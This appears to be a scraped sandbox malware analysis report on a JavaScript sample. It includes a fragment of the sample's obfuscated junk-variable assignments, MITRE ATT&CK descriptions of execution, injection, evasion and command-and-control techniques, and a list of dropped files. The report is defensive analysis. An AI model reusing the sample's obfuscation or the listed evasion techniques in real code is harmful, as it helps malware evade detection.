1221	mqolf = "z";
1222	mqolf = "v";
1223	mqolf = "G";
1224	mqolf = "L";
1225	mqolf = "w";
1226	mqolf = "z";
1227	mqolf = "N";
1228	mqolf = "n";
1229	mqolf = "S";
1230	mqolf = "R";
1231	mqolf = "w";
1232	mqolf = "d";
1233	mqolf = "s";
1234	mqolf = "I";
1235	mqolf = "x";
1236	mqolf = "w";
1237	mqolf = "Z";
1238	mqolf = "R";
1239	mqolf = "j";
1240	mqolf = "y";
1241	mqolf = "Q";
1242	mqolf = "b";
1243	mqolf = "X";
1244	mqolf = "T";
1245	mqolf = "D";
1246	mqolf = "q";
1247	mqolf = "m";
1248	mqolf = "z";
1249	mqolf = "l";
1250	mwymi = "i";
1251	mwymi = "D";
1252	mwymi = "A";
1253	mwymi = "P";
1254	mwymi = "Z";
1255	mwymi = "S";
1256	mwymi = "h";
1257	mwymi = "r";
1258	mwymi = "G";
1259	mwymi = "Q";
1260	mwymi = "I";
1261	mwymi = "r";
1262	mwymi = "x";
1263	mwymi = "W";
1264	mwymi = "e";
1265	mwymi = "H";
1266	mwymi = "x";
1267	mwymi = "Q";
1268	mwymi = "d";
1269	mwymi = "u";
1270	mwymi = "R";
1271	mwymi = "D";
1272	mwymi = "S";
1273	hxmasyt ( );	hxmasyt() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1917827975246096126.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\41c5f8d2-6b87-419d-8ee7-44d0345a4574.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF722475.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d56c68b0-59dc-43e3-a833-bc38ef10fe19.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
1917827975246096126.js